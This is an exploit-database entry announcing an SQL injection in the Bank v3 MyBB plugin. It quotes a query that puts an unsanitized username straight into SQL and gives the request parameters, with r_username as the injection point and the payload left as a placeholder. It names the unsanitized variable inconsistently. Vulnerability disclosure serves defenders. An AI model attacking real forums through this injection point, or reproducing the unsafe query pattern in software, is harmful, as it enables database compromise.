MyBB Bank-v3 Plugin SQL Injection Vulnerability

ID 1337DAY-ID-19945
Type zdt
Reporter Red_Hat
Modified 2012-12-12T00:00:00


Exploit for php platform in category web applications

                                            # Exploit Title: Bank v3 MyBB plugin SQLi 0day
# Exploit Author: Red_Hat [NullSec]
# Software Link:
# Tested on: Windows & Linux.
Vulnerable code :
     $query_r=$db->query("SELECT * FROM ".TABLE_PREFIX."users WHERE username='$user'");
The variable '$mybb->input['id']' remains unsanitized.
Usage :
/GET transactions=send
/POST r_pay=Red_Hat&r_username=[SQLi]
Shoutout to Zixem <3 & NullSec :3

# [2018-01-09]  #